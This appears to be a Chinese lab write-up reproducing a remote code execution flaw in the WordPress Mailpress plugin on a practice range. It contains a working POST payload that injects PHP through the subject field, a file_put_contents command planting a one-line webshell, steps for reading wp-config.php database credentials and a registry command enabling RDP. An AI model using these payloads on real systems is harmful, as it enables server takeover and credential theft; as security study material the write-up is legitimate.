记一次Mailpress插件RCE漏洞复现


0x01 Mailpress plugin RCE漏洞

1.简介

WordPress Mailpress Plugin 插件中, mailpress/mp-includes/class/MP_Actions.class.php 文件中 iview() 函数中 subject 参数未经过滤,直接拼接do_eval函数执行代码,而do_eval函数也未经任何过滤,导致远程代码执行漏洞。
详情链接

2.相关代码

public static function iview(){
    $mp_general = get_option(MailPress::option_name_general);
    $id = $_GET["id"];
    $main_id = (isset($_GET["main_id"])) ? $_GET["main_id"] : $id;
    $mail = MP_Mail::get($id);
    $theme = (isset($_GET["theme"]) && !empty($_GET["theme"])) ? $_GET["theme"] : (!empty($mail->theme) ? $mail->theme : false);
    $mp_user_id = (isset($_GET["mp_user_id"]) && !empty($_GET["mp_user_id"])) ? $_GET["mp_user_id"] : false;

    // from
    $from = (!empty($mail->fromemail)) ? MP_Mail::display_toemail($mail->fromemail, $mail->fromname) : MP_Mail::display_toemail($mp_general["fromemail"], $mp_general["fromname"]);
    // to
    $to = MP_Mail::display_toemail($mail->toemail, $mail->toname, ", $mp_user_id);
    // subject
    $x = new MP_Mail();    
    //
    // 注意这里调用了 do_eval
    //
    $subject = (in_array($mail->status, array("sent", "archived"))) ? $mail->subject : $x->do_eval($mail->subject);
    //
    $subject = $x->viewsubject($subject, $id, $main_id, $mp_user_id);
    // template
    ...
}

0x02 POC构造

  • 使用攻击代码触发漏洞:
http://你的 IP 地址:端口号/wp-content/plugins/mailpress/mp-includes/action.php
  • POST data:
action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=<?php phpinfo();?>&html=&plaintext=&mail_format=standard&autosave=1
  • 返回值如下:
<wp_ajax><response action="autosave_2"><autosave id="2" old_id="2" position="1"><response_data>Draft saved at pm5:58:36.</response_data><supplemental><tipe>mail</tipe></supplemental></autosave></response></wp_ajax>

记录下autosave id的值,接下来使用。

  • 访问存在漏洞页面获取结果:
http://你的 IP 地址:端口号/wp-content/plugins/mailpress/mp-includes/action.php?action=iview&id=上一步中返回的id号

直接获取phpinfo()的页面。

0x03 靶场漏洞复现

  • 先访问IPhttp://192.168.*.*/,显然是个用WP搭的站点。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lRHNNSgg-1658837597685)(C:\Users\24\AppData\Roaming\Typora\typora-user-images\1658489416433.png)]

  • 由于是WP搭的站,我们可以先使用WPScan扫一手(使用WPScan时,加上官方的API可以爆出漏洞详细信息),在kali终端输入命令# wpscan --url http://192.168.*.* --api-token KDgPmudZ16JIzMsyadPAh8s6paUp9yAZxHTO5FYfyGg ,可以得到一个敏感目录。(不过好像加了API没什么用)
    获取API链接
    在这里插入图片描述

  • 访问192.168.*.*/html,得到网站的一个配置文件wp-config.php
    在这里插入图片描述

  • 接下来利用RCE漏洞,在ip后面加上/wp-content/plugins/mailpress/mp-includes/action.php,利用hackbar,将传参改为POST类型,在POST data中构造需要执行的代码,得到autosave id=14
    在这里插入图片描述

  • 访问http://192.168.*.*/wp-content/plugins/mailpress/mp-includes/action.php?action=iview&id=14,得到网站根目录。
    在这里插入图片描述

  • 现在知道网站根目录了,接下来将POST传参中的subject参数改为写入一句话木马,如下所示。

<?php file_put_contents('C:/phpstudy123/WWW/1.php','<?php @e*al($_POST[cmd]);?>');?>

在这里插入图片描述

  • 访问http://192.168.*.*/wp-content/plugins/mailpress/mp-includes/action.php?action=iview&id=16,并使用蚁剑连接http://192.168.*.*/1.php,然后就成功getshell。
    在这里插入图片描述
    在这里插入图片描述

  • 然后访问C:/phpstudy123/WWW/wp-config.php,得到数据库的相关信息。
    在这里插入图片描述

  • 使用蚁剑,利用以上信息连接数据库。
    在这里插入图片描述

  • 使用nmap查看该主机是否开启3389端口,发现没有开。在蚁剑终端查看操作系统用户信息,修改管理员密码,顺便开个3389端口。然后就可以远程连接了。

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值